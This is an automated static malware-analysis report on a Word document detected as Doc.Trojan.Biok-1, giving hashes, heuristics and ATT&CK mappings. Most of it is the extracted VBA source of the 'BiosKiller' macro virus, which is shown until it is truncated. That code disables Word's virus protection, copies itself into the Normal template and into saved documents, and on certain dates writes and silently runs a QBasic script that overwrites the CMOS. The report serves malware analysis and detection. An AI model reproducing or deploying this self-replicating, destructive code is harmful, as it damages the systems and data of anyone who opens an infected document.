Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9aff5e2bf3dd8837…

MALICIOUS

Office (OLE)

57.0 KB Created: 1998-11-10 08:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2579fe1386c522fc7a8e6ad731f926d3 SHA-1: a6b2fc2b0d54d3872af04793f7b3401e592a8afc SHA-256: 9aff5e2bf3dd88370aef003a789f3cd81a19b341b4d5b7a56f3e601146d8449b
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1505.003 Server Software Component: Service Execution

The sample contains legacy WordBasic macro-virus markers and a critical OLE_VBA_SHELL heuristic firing, indicating the presence of malicious VBA code. The Document_Open macro attempts to export and import VBA components, suggesting an effort to install or spread the macro. The AutoExec subroutine also calls a subroutine named PayBiosKiller, further reinforcing the malicious intent.

Heuristics 6

  • ClamAV: Doc.Trojan.Biok-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Biok-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17385 bytes
SHA-256: d2eb94fe5c40503405bc5adf239b6844fed0cc7f5ae1fbde9b6fae48520113d9
Detection
ClamAV: Doc.Trojan.Biok-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BiosKiller"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAuEx
Call PayBiosKiller
ErrorAuEx:
End Sub
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorDOp
iMacroNormalCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iMacroNormalCount
    If NormalTemplate.VBProject.VBComponents(i).Name = "BiosKiller" Then
        BiosKillerInstalled = -1
    End If
Next i
If Not BiosKillerInstalled Then
    ActiveDocument.VBProject.VBComponents("BiosKiller").Export "C:\BK.sys"
    NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\BK.sys"
    ActiveDocument.VBProject.VBComponents("BiosKiller").Export "C:\APVBK.sys"
    NormalTemplate.VBProject.VBComponents.Import "C:\APVBK.sys"
    NormalTemplate.VBProject.VBComponents("BiosKiller").CodeModule.DeleteLines 1, 4
End If
ErrorDOp:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFSAs
Dialogs(wdDialogFileSaveAs).Show
If ActiveDocument.SaveFormat = wdFormatTemplate Or ActiveDocument.SaveFormat = wdFormatDocument Then
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
iMacroDocumentCount = ActiveDocument.VBProject.VBComponents.Count
For i = 1 To iMacroDocumentCount
If ActiveDocument.VBProject.VBComponents(i).Name = "BiosKiller" Then
    BiosKillerDocInstalled = -1
End If
Next i
If Not BiosKillerDocInstalled Then
NormalTemplate.VBProject.VBComponents("BiosKiller").Export "C:\BK.sys"
ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\BK.sys"
NormalTemplate.VBProject.VBComponents("BiosKiller").Export "C:\APVBK.sys"
ActiveDocument.VBProject.VBComponents.Import "C:\APVBK.sys"
ActiveDocument.VBProject.VBComponents("BiosKiller").CodeModule.DeleteLines 1, 4
ActiveDocument.Save
End If
ErrorFSAs:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFiTe
MsgBox "Vous feriez mieux de vous acheter un AV...", vbCritical, "Virus BiosKiller"
ErrorFiTe:
End Sub
Sub HelpAbout()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorHeAb
CommandBars("Help").Controls(5).Caption = "A propos du Virus BiosKiller"
APVBK.Show
ErrorHeAb:
End Sub
Sub PayBiosKiller()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorPBK
Dim MyDate, MyTime
MyDate = Date
MyTime = Time
Tm$ = Mid(MyTime, 4, 5)
Ts$ = Mid(MyTime, 7, 8)
D1$ = Mid(MyDate, 1, 2)
If (Tm$ = "26") Or (Ts$ = "26") Then
    MsgBox "Vous connaissez le virus CIH ?" & Chr$(13) & "Je fais la même chose que lui...", vbCritical, "Virus BiosKiller"
End If
If D1$ = "26" Then
    MsgBox "Votre Bios va subir des changements..." & Chr$(13) & "HAHAHAHAHA", vbCritical, "Virus BiosKiller"
Open "C:\CMOS.bas" For Output As #1
    Print #1, "CLS"
    Print #1, "Screen 9"
    Print #1, "Color 4"
    Print #1, "DIM Byte AS STRING * 1"
    Print #1, "For CMOS = 1 To LOF(1)"
    Print #1, "OUT &H70, CMOS - 1"
    Print #1, "GET #1, , Byte"
    Print #1, "OUT &H71, ASC(Byte)"
    Print #1, "Next"
    Print #1, "Print ""Votre Bios a été flashé, HAHAHAHAHA!!!"""
    Print #1, "System"
Close #1
Shell "qbasic /run C:\CMOS.bas", vbHid
... (truncated)